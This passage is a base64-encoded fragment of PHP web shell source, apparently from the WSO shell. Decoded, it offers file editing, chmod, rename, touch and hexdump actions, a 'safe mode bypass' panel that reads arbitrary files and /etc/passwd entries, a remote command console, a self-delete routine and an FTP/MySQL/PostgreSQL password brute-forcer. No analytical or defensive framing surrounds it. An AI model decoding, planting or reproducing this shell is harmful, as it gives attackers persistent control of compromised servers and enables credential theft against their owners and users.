1RbJ3AxJ10pICkgew0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsNCgkJCQkkY29kZSA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7DQoJCQkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsNCgkJCX0NCgkJCWJyZWFrOw0KCQljYXNlICdjaG1vZCc6DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHBlcm1zID0gMDsNCgkJCQlmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQ0KCQkJCQkkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOw0KCQkJCWlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQ0KCQkJCQllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQoJCQl9DQoJCQljbGVhcnN0YXRjYWNoZSgpOw0KCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdlZGl0JzoNCgkJCWlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgew0KCQkJCWVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7DQoJCQkJJF9QT1NUWydwMyddID0gc3Vic3RyKCRfUE9TVFsncDMnXSwxKTsNCgkJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7DQoJCQkJaWYoJGZwKSB7DQoJCQkJCUBmd3JpdGUoJGZwLCRfUE9TVFsncDMnXSk7DQoJCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7DQoJCQkJCUB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpOw0KCQkJCX0NCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGV4ZHVtcCc6DQoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbGVuID0gc3RybGVuKCRjKTsNCgkJCWZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgew0KCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJaWYgKCRuID09IDMyKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30NCgkJCQkJJGhbMV0gLj0gJzxicj4nOw0KCQkJCQkkaFsyXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQllY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJCQlicmVhazsNCgkJY2FzZSAncmVuYW1lJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQlpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7DQoJCQkJZWxzZQ0KCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAndG91Y2gnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7DQoJCQkJaWYoJHRpbWUpIHsNCgkJCQkJaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpDQoJCQkJCQllY2hvICdGYWlsISc7DQoJCQkJCWVsc2UNCgkJCQkJCWVjaG8gJ1RvdWNoZWQhJzsNCgkJCQl9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7DQoJCQl9DQoJCQljbGVhcnN0YXRjYWNoZSgpOw0KCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgew0KCSR0ZW1wPScnOw0KCW9iX3N0YXJ0KCk7DQoJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQljYXNlIDE6DQoJCQkkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7DQoJCQlpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpew0KCQkJCWVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsNCgkJCQl1bmxpbmsoJHRlbXApOw0KCQkJfSBlbHNlDQoJCQkJZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsNCgkJCWlmKCBpc19hcnJheSgkZmlsZXMpICkNCgkJCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQ0KCQkJCQllY2hvICRmaWxlbmFtZS4iXG4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5wcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKTsNCgkJCWN1cmxfZXhlYygkY2gpOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCWluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCgkJCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCgkJCWluY2x1ZGUoJF9QT1NUWydwMiddKTsNCgkJCWJyZWFrOw0KCQljYXNlIDU6DQoJCQlmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCgkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7DQoJCQkJaWYgKCR1aWQpDQoJCQkJCWVjaG8gam9pbignOicsJHVpZCkuIlxuIjsNCgkJCX0NCgkJCWJyZWFrOw0KCX0NCgkkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCgllY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJaWYoJHRlbXApDQoJCWVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHRlbXApLic8L3ByZT4nOw0KCWVjaG8gJzwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10gPSB0cnVlOw0KICAgICAgICAkX1BPU1RbJ3AxJ10gLj0gJyAyPiYxJzsNCiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10gPSBmYWxzZTsNCg0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQoJCW9iX3N0YXJ0KCk7DQoJCWVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsNCgkJJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi53c29FeCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsNCgkJaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKQl7DQoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgew0KCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsNCgkJCQllY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCgkJCX0NCgkJfQ0KCQllY2hvICJkLmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsNCgkJZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7DQoJCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KCXdzb0hlYWRlcigpOw0KICAgIGVjaG8gIjxzY3JpcHQ+DQppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOw0KdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOw0KdmFyIGN1ciA9IDA7DQpmdW5jdGlvbiBrcChlKSB7DQoJdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7DQoJaWYobiA9PSAzOCkgew0KCQljdXItLTsNCgkJaWYoY3VyPj0wKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQljdXIrKzsNCgl9IGVsc2UgaWYobiA9PSA0MCkgew0KCQljdXIrKzsNCgkJaWYoY3VyIDwgY21kcy5sZW5ndGgpDQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQoJCWVsc2UNCgkJCWN1ci0tOw0KCX0NCn0NCmZ1bmN0aW9uIGFkZChjbWQpIHsNCgljbWRzLnBvcCgpOw0KCWNtZHMucHVzaChjbWQpOw0KCWNtZHMucHVzaCgnJyk7DQoJY3VyID0gY21kcy5sZW5ndGgtMTsNCn0NCjwvc2NyaXB0PiI7DQoJZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOw0KCWZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgew0KCQlpZigkdiA9PSAnJykgew0KCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOw0KCQkJY29udGludWU7DQoJCX0NCgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOw0KCX0NCglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KCWVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZC5jZi5hbGlhcy52YWx1ZSk7aWYoZC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IiB2YWx1ZT0iPj4iPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSk7DQoJfQ0KCWVjaG8gJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICNkZjU7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsNCgllY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsNCglkaWUoJ2J5ZSEnKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsNCgkNCglpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpDQoJCWlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQoJCQlkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsNCgkJZWxzZQ0KCQkJZWNobyAndW5saW5rIGVycm9yISc7DQogICAgaWYoJF9QT1NUWydwMSddICE9ICd5ZXMnKQ0KICAgICAgICB3c29IZWFkZXIoKTsNCgllY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7DQoJd3NvSGVhZGVyKCk7DQoJaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7DQoJCWVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsNCgkJaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsNCgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KCQkJCSRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsNCgkJCQlpZighJGZwKSByZXR1cm4gZmFsc2U7DQoJCQkJJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsNCgkJCQlAZnRwX2Nsb3NlKCRmcCk7DQoJCQkJcmV0dXJuICRyZXM7DQoJCQl9DQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsNCgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KCQkJCSRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLiRwb3J0PyRwb3J0OjMzMDYsICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBteXNxbF9jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7DQoJCQkJJHJlcyA9IEBwZ19jb25uZWN0KCRzdHIpOw0KCQkJCUBwZ19jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfQ0KCQkkc3VjY2VzcyA9IDA7DQoJCSRhdHRlbXB0cyA9IDA7DQoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7DQoJCWlmKCRfUE9TVFsndHlwZSddID09IDEpIHsNCgkJCSR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7DQoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkNCgkJCQlmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7DQoJCQkJCSRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJaWYoQCRfUE9TVFsncmV2ZXJzZSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsgLS0kaSkNCgkJCQkJCQkkdG1wIC49ICRsaW5lWzBdWyRpXTsNCgkJCQkJCSsrJGF0dGVtcHRzOw0KCQkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7DQoJCQkkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSB0cmltKCRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQl9DQoJCWVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOw0KCX0NCgllY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48c2VsZWN0IG5hbWU9cHJvdG8+PG9wdGlvbiB2YWx1ZT1mdHA+